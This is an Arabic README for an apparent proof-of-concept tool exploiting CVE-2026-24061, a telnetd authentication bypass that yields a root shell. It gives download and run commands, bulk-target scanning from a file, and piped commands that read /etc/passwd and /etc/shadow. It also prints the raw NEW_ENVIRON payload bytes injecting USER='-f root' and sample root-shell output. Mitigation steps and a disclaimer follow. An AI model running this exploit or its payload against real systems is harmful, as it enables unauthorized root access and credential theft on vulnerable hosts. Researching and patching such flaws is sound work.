
إثبات المفهوم: CVE-2026-24061 هو ثغرة حرجة لتجاوز المصادقة في GNU inetutils-telnetd تسمح للمهاجمين عن بُعد غير المصادق عليهم بالحصول على وصول فوري إلى شل الجذر عبر استغلال خيار telnet الضار NEW_ENVIRON.
أداة بحث أمني لاستغلال CVE-2026-24061، وهي ثغرة حرجة في تجاوز المصادقة عن بُعد في GNU inetutils-telnetd تسمح بالحصول الفوري على صلاحيات shell الجذرية دون مصادقة.
| الحقل | القيمة |
|---|---|
| معرّف CVE | CVE-2026-24061 |
| درجة CVSS v3.1 | 9.8 (حرجة) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| تصنيف CWE | CWE-88: تحييد غير صحيح لمحددات الوسائط في أمر |
| البائع | مشروع GNU |
| المنتج | inetutils-telnetd |
| تاريخ الإفصاح | 20 يناير 2026 |
| التصحيح المتاح | سيُحدد لاحقًا (TBD) |
توجد ثغرة حرجة في GNU inetutils-telnetd حتى الإصدار 2.7 تسمح للمهاجمين عن بُعد غير المصادَق عليهم بتجاوز المصادقة بالكامل والحصول فورًا على صلاحيات shell الجذرية. تُستغل الثغرة عبر خيار telnet الجديد NEW_ENVIRON عن طريق حقن متغير بيئة USER مُصمم خصيصًا بالقيمة "-f root"، مما يتجاوز جميع آليات المصادقة.
| نطاق الإصدار | الحالة |
|---|---|
| <= 2.7 | معرض للخطر |
| > 2.7 | حالة التصحيح غير محددة |
تنشأ الثغرة من التحقق غير السليم من متغير البيئة USER في معالج خيار NEW_ENVIRON في telnetd. عند معالجة خيار telnet الجديد NEW_ENVIRON، تفشل خدمة telnetd في تنظيف قيمة متغير USER قبل تمريرها إلى عملية تسجيل الدخول. من خلال تعيين USER إلى "-f root"، يحقن المهاجم وسائط سطر أوامر تُجبر المصادقة على النجاح لمستخدم الجذر دون الحاجة إلى بيانات اعتماد.
جميع التبعيات جزء من المكتبة القياسية للغة بايثون:
# Clone the repository
git clone https://github.com/sh4den/CVE-2026-24061.git
cd CVE-2026-24061
# Run the exploit
python3 main.py -u <target_ip>
# Download the exploit
curl -O https://raw.githubusercontent.com/sh4den/CVE-2026-24061/main/main.py
# Make it executable (Linux/macOS)
chmod +x main.py
# Run the exploit
python3 main.py -u <target_ip>
# Ensure Python 3.7+ is installed
python3 --version
# Download and run
python3 main.py -u <target_ip>
Usage:
python3 main.py -u <target_ip> [-p <port>] [-usr <user>]
python3 main.py -l <targets_file> [-p <port>] [-usr <user>]
echo "commands" | python3 main.py -u <target_ip>
Arguments:
-u Single target IP address or hostname
-l Path to file containing target IPs (one per line)
-p Target port (default: 23)
-usr User to exploit as (default: root)
استغلال مثيل telnetd واحد:
# Basic exploitation (default port 23, user root)
python3 main.py -u 192.168.1.100
# Custom port
python3 main.py -u 192.168.1.100 -p 2323
# Different user
python3 main.py -u 192.168.1.100 -usr admin
تنفيذ الأوامر دون تفاعل:
# Single command
echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100
# Multiple commands
echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100
# Command with output redirection
echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100
استغلال أهداف متعددة من ملف:
python3 main.py -l targets.txt
python3 main.py -l targets.txt -p 2323
python3 main.py -l targets.txt -usr admin
تنسيق ملف الأهداف (targets.txt):
192.168.1.100
192.168.1.101
10.0.0.50
172.16.0.25
telnet.example.com
ملاحظات:
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║
║ ║
║ CVSS Score: 9.8 (Critical) ║
║ Impact: Remote Authentication Bypass - Instant Root Shell ║
║ ║
║ This tool is part of the HGrab Framework. ║
╚═══════════════════════════════════════════════════════════════╝
[2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root
[2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23
[2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root'
[2026-01-23 14:32:15] [INFO] Interactive mode - type commands
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
يستغل هذا النص البرمجي مرحلة التفاوض على بروتوكول telnet:
# Telnet IAC (Interpret As Command) = 255
# SB (Subnegotiation Begin) = 250
# SE (Subnegotiation End) = 240
# NEW_ENVIRON option = 39
payload = bytes([
255, # IAC
250, # SB
39, # NEW_ENVIRON
0, # IS
0, # VAR
]) + b"USER" + bytes([1]) + b"-f root" + bytes([
255, # IAC
240 # SE
])
select.select() لمراقبة المقبس (socket) والإدخال القياسي (stdin) في وقت واحدتعطيل telnetd: أوقف خدمة telnetd وعطّلها فورًا
# systemd-based systems
sudo systemctl stop telnetd
sudo systemctl disable telnetd
# xinetd-based systems
sudo service xinetd stop
sudo chkconfig telnet off
قواعد جدار الحماية: احظر منفذ telnet (23) على مستوى جدار الحماية
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# firewalld
sudo firewall-cmd --permanent --remove-service=telnet
sudo firewall-cmd --reload
عزل الشبكة: أزل خدمة telnet من الأنظمة المتصلة بالإنترنت
استخدم SSH بدلاً من Telnet:
# Install OpenSSH server
sudo apt-get install openssh-server # Debian/Ubuntu
sudo yum install openssh-server # RHEL/CentOS
# Enable and start SSH
sudo systemctl enable sshd
sudo systemctl start sshd
# Verify telnetd is not running
sudo netstat -tlnp | grep :23
sudo ss -tlnp | grep :23
# Should return no results if properly disabled
راجع سجلات النظام بحثًا عن الأنماط التالية:
سجلات المصادقة:
# Check for unusual login patterns
sudo grep telnetd /var/log/auth.log
sudo grep telnetd /var/log/secure
# Look for suspicious USER environment variables
sudo grep "USER.*-f" /var/log/auth.log
سجلات الشبكة:
# Check for active telnet connections
sudo netstat -antp | grep :23
# Review recent root logins
sudo last | grep root
# Check for modified system files
sudo rpm -Va # RHEL/CentOS
sudo debsums -c # Debian/Ubuntu
# List processes by root
sudo ps aux | grep root
# Check for unauthorized SSH keys
sudo cat /root/.ssh/authorized_keys
هام: اقرأ قبل الاستخدام
تُقدَّم هذه الأداة حصريًا من أجل:
الاستخدامات المحظورة:
المسؤولية: لا يتحمل مؤلفو هذا البرنامج أو مساهموه أو موزعوه أي مسؤولية عن سوء الاستخدام أو الأضرار أو الأنشطة غير القانونية التي تُنفَّذ باستخدام هذه الأداة. يتحمل المستخدمون وحدهم مسؤولية:
إشعار قانوني: الوصول غير المصرح به إلى أنظمة الكمبيوتر جريمة جنائية خطيرة. قد تؤدي المخالفات إلى الملاحقة القضائية بموجب:
قد تشمل العقوبات السجن وغرامات مالية كبيرة ومسؤولية مدنية.
باستخدامك لهذه الأداة، فإنك تقر بأنك قرأت وفهمت وتوافق على الامتثال لإخلاء المسؤولية هذا وجميع القوانين المعمول بها.
| الإصدار | التاريخ | التغييرات |
|---|---|---|
| 1.0.0 | 2026-01-23 | الإصدار الأولي |
للأسئلة أو المشكلات أو المساهمات:
يُقدَّم هذا المشروع كما هو لأغراض البحث الأمني المصرح به والتعليم فقط. لا يتم تقديم أي ضمان، صريحًا كان أم ضمنيًا. استخدمه على مسؤوليتك الخاصة ووفقًا لجميع القوانين واللوائح المعمول بها.
لا تستخدم إلا بتفويض مناسب
| الحزمة | الغرض |
|---|
| socket | الاتصال الشبكي |
| select | تعدد الإرسال (I/O multiplexing) |
| sys | التفاعل مع النظام |
| os | واجهة نظام التشغيل |
| threading | استغلال متزامن للأهداف |
| datetime | تنسيق الطوابع الزمنية |
| المؤشر | اللون | الوصف |
|---|
[SUCCESS] | أخضر | تم الاتصال بالهدف بنجاح |
[EXPLOIT] | أخضر | تم إرسال حمولة الاستغلال بنجاح |
[INFO] | أزرق | رسالة إعلامية حول العملية الحالية |
[ERROR] | أحمر | فشل الاتصال أو انتهاء المهلة أو خطأ في الاستغلال |
[WARNING] | أصفر | رسالة تحذيرية (غير مستخدمة حاليًا) |
| الإجراء | الأولوية | الوصف |
|---|
| الترحيل إلى SSH | حرجة | استبدال telnet بـ SSH للوصول عن بُعد |
| إدارة التصحيحات | حرجة | مراقبة التحديثات الأمنية وتطبيقها |
| تدقيق الخدمات | عالية | تحديد خدمات الشبكة غير الضرورية وتعطيلها |
| تقسيم الشبكة | عالية | عزل الأنظمة الحرجة عن الشبكات العامة |
| كشف التسلل | متوسطة | نشر IDS/IPS لكشف محاولات الاستغلال |
| التحكم في الوصول | متوسطة | تنفيذ قوائم بيضاء بعناوين IP للخدمات عن بُعد |